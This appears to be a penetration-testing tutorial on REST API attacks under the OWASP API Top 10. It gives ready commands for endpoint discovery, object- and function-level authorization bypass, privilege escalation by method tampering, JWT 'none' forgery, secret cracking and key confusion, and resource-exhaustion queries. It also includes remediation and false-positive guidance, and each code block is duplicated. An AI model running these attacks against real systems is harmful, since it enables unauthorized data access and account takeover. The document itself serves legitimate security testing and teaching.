Exploitation A01| Broken Access Control
REST API Attacks
REST APIs are the backbone of modern web and mobile applications. They expose business logic directly and often lack the same security controls as traditional web interfaces. This guide covers the OWASP API Security Top 10 attack vectors with practical exploitation techniques.
Information
OWASP API Security Top 10 (2023): API1:BOLA, API2:Broken Authentication,
API3:Broken Object Property Level Auth, API4:Unrestricted Resource Consumption,
API5:Broken Function Level Auth, API6:Unrestricted Access to Sensitive Business Flows,
API7:SSRF, API8:Security Misconfiguration, API9:Improper Inventory Management, API10:Unsafe API Consumption.
API Discovery & Enumeration
bash
# Discover API endpoints:
# Check common documentation URLs:
curl -s https://target.com/swagger.json
curl -s https://target.com/openapi.json
curl -s https://target.com/api-docs
curl -s https://target.com/v2/api-docs # Spring Boot
curl -s https://target.com/swagger/v1/swagger.json # ASP.NET
curl -s https://target.com/.well-known/openapi.json
# Fuzz API paths:
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-u https://target.com/api/FUZZ -mc 200,201,301,302,401,403,405
# Check for API versioning:
curl -s https://target.com/api/v1/users
curl -s https://target.com/api/v2/users # May have different auth
curl -s https://target.com/api/v3/users # Unreleased version?
# Arjun - discover hidden parameters:
arjun -u https://target.com/api/users -m GET
arjun -u https://target.com/api/users -m POST
# Kiterunner - API-aware content discovery:
kr scan https://target.com -w routes-large.kite# Discover API endpoints:
# Check common documentation URLs:
curl -s https://target.com/swagger.json
curl -s https://target.com/openapi.json
curl -s https://target.com/api-docs
curl -s https://target.com/v2/api-docs # Spring Boot
curl -s https://target.com/swagger/v1/swagger.json # ASP.NET
curl -s https://target.com/.well-known/openapi.json
# Fuzz API paths:
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-u https://target.com/api/FUZZ -mc 200,201,301,302,401,403,405
# Check for API versioning:
curl -s https://target.com/api/v1/users
curl -s https://target.com/api/v2/users # May have different auth
curl -s https://target.com/api/v3/users # Unreleased version?
# Arjun - discover hidden parameters:
arjun -u https://target.com/api/users -m GET
arjun -u https://target.com/api/users -m POST
# Kiterunner - API-aware content discovery:
kr scan https://target.com -w routes-large.kiteAPI1: Broken Object Level Authorization (BOLA)
bash
# BOLA (also called IDOR in APIs) — access other users' resources:
# Step 1: Make authenticated request to your own resource:
curl -s https://target.com/api/users/123/orders \
-H 'Authorization: Bearer YOUR_TOKEN' | jq .
# Step 2: Change the object ID to another user's:
curl -s https://target.com/api/users/124/orders \
-H 'Authorization: Bearer YOUR_TOKEN' | jq .
# If you see user 124's orders → BOLA confirmed!
# Test with different ID formats:
/api/users/123 # Sequential integer
/api/users/00000123 # Zero-padded
/api/users/abc-def-123 # UUID
/api/users/john@test.com # Email as ID
# Test all CRUD operations:
GET /api/users/124 # Read
PUT /api/users/124 # Update
DELETE /api/users/124 # Delete
PATCH /api/users/124 # Partial update# BOLA (also called IDOR in APIs) — access other users' resources:
# Step 1: Make authenticated request to your own resource:
curl -s https://target.com/api/users/123/orders \
-H 'Authorization: Bearer YOUR_TOKEN' | jq .
# Step 2: Change the object ID to another user's:
curl -s https://target.com/api/users/124/orders \
-H 'Authorization: Bearer YOUR_TOKEN' | jq .
# If you see user 124's orders → BOLA confirmed!
# Test with different ID formats:
/api/users/123 # Sequential integer
/api/users/00000123 # Zero-padded
/api/users/abc-def-123 # UUID
/api/users/john@test.com # Email as ID
# Test all CRUD operations:
GET /api/users/124 # Read
PUT /api/users/124 # Update
DELETE /api/users/124 # Delete
PATCH /api/users/124 # Partial updateAPI5: Broken Function Level Authorization (BFLA)
bash
# Test if regular user can access admin API endpoints:
# Admin endpoints to probe:
curl -s https://target.com/api/admin/users \
-H 'Authorization: Bearer REGULAR_USER_TOKEN'
curl -s https://target.com/api/admin/config \
-H 'Authorization: Bearer REGULAR_USER_TOKEN'
# HTTP method tampering:
# If GET is blocked, try other methods:
curl -X PUT https://target.com/api/admin/users/123 \
-H 'Authorization: Bearer REGULAR_USER_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"role": "admin"}'
# Test admin APIs discovered from documentation:
# POST /api/users/{id}/promote
# DELETE /api/users/{id}
# PUT /api/config/security
# POST /api/reports/generate
# Check if internal/management endpoints are accessible:
curl -s https://target.com/api/internal/metrics
curl -s https://target.com/api/internal/health
curl -s https://target.com/api/debug/vars# Test if regular user can access admin API endpoints:
# Admin endpoints to probe:
curl -s https://target.com/api/admin/users \
-H 'Authorization: Bearer REGULAR_USER_TOKEN'
curl -s https://target.com/api/admin/config \
-H 'Authorization: Bearer REGULAR_USER_TOKEN'
# HTTP method tampering:
# If GET is blocked, try other methods:
curl -X PUT https://target.com/api/admin/users/123 \
-H 'Authorization: Bearer REGULAR_USER_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"role": "admin"}'
# Test admin APIs discovered from documentation:
# POST /api/users/{id}/promote
# DELETE /api/users/{id}
# PUT /api/config/security
# POST /api/reports/generate
# Check if internal/management endpoints are accessible:
curl -s https://target.com/api/internal/metrics
curl -s https://target.com/api/internal/health
curl -s https://target.com/api/debug/varsJWT Token Attacks
bash
# Decode JWT (no key needed for header/payload):
echo 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9.xxx' | \
cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Attack 1: Algorithm confusion (none)
# Change header to {"alg": "none"} and remove signature:
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"
# Attack 2: Weak secret brute force:
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Or use jwt_tool:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# Attack 3: Key confusion (RS256 → HS256):
# If server uses RS256 but accepts HS256,
# sign with the PUBLIC key as HMAC secret
python3 jwt_tool.py <JWT> -X k -pk public.pem
# Attack 4: JWK header injection:
python3 jwt_tool.py <JWT> -X i# Decode JWT (no key needed for header/payload):
echo 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9.xxx' | \
cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Attack 1: Algorithm confusion (none)
# Change header to {"alg": "none"} and remove signature:
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"
# Attack 2: Weak secret brute force:
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Or use jwt_tool:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# Attack 3: Key confusion (RS256 → HS256):
# If server uses RS256 but accepts HS256,
# sign with the PUBLIC key as HMAC secret
python3 jwt_tool.py <JWT> -X k -pk public.pem
# Attack 4: JWK header injection:
python3 jwt_tool.py <JWT> -X iRate Limiting & Resource Exhaustion
bash
# Test API rate limiting:
for i in $(seq 1 100); do
CODE=$(curl -s -o /dev/null -w '%{http_code}' https://target.com/api/users)
echo "Request $i: HTTP $CODE"
done
# If all return 200 → no rate limiting!
# Test resource exhaustion via pagination:
curl -s 'https://target.com/api/users?page=1&per_page=10000' | jq '.data | length'
# Returns all users in one request → memory exhaustion attack
# GraphQL-specific: nested query depth attacks
# Deep nesting can cause exponential server processing
curl -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{users{friends{friends{friends{friends{name}}}}}}"}'# Test API rate limiting:
for i in $(seq 1 100); do
CODE=$(curl -s -o /dev/null -w '%{http_code}' https://target.com/api/users)
echo "Request $i: HTTP $CODE"
done
# If all return 200 → no rate limiting!
# Test resource exhaustion via pagination:
curl -s 'https://target.com/api/users?page=1&per_page=10000' | jq '.data | length'
# Returns all users in one request → memory exhaustion attack
# GraphQL-specific: nested query depth attacks
# Deep nesting can cause exponential server processing
curl -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{users{friends{friends{friends{friends{name}}}}}}"}'Testing Checklist
- 1. Discover and map all API endpoints (Swagger, fuzzing, JS analysis)
- 2. Test BOLA on every endpoint with object IDs (change IDs)
- 3. Test BFLA — access admin endpoints with regular user tokens
- 4. Test mass assignment on all PUT/POST/PATCH endpoints
- 5. Analyze JWT tokens for weak algorithms and secrets
- 6. Test rate limiting on sensitive endpoints (login, password reset)
- 7. Test excessive data exposure — do responses include unnecessary fields?
- 8. Test older API versions (/v1/ vs /v2/) for missing security patches
- 9. Test HTTP method tampering (GET → PUT, POST → DELETE)
- 10. Test content-type manipulation (JSON → XML for XXE)
Evidence Collection
BOLA: Request with user A's token accessing user B's data
BFLA: Regular user accessing admin-only endpoints
JWT: Decoded token, modified token, and server acceptance proof
CVSS Range: BOLA: 6.5–8.6 | BFLA: 8.1–9.8 | JWT bypass: 8.1–9.8
Remediation
- Authorization on every endpoint: Verify the authenticated user owns the requested resource.
- Use unpredictable IDs: Use UUIDs instead of sequential integers for resource identifiers.
- Response filtering: Only return fields the user is authorized to see.
- Rate limiting: Implement per-user and per-IP rate limits with 429 responses.
- JWT best practices: Use RS256, short expiry, validate all claims, maintain a deny list for revocation.
False Positive Identification
- Verbose error messages by design: Some APIs intentionally return detailed errors for developer experience (especially in development mode) — verify the behavior in the production environment.
- Missing rate limiting on non-sensitive endpoints: Not every endpoint needs rate limiting — focus on auth, search, and data-export endpoints.
- API versioning as intended behavior: Accessing /api/v1 when /api/v2 exists isn't a vulnerability unless v1 lacks security controls present in v2.